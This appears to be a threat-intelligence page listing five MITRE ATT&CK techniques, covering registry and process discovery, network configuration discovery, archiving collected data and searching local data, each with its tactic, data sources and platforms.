Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre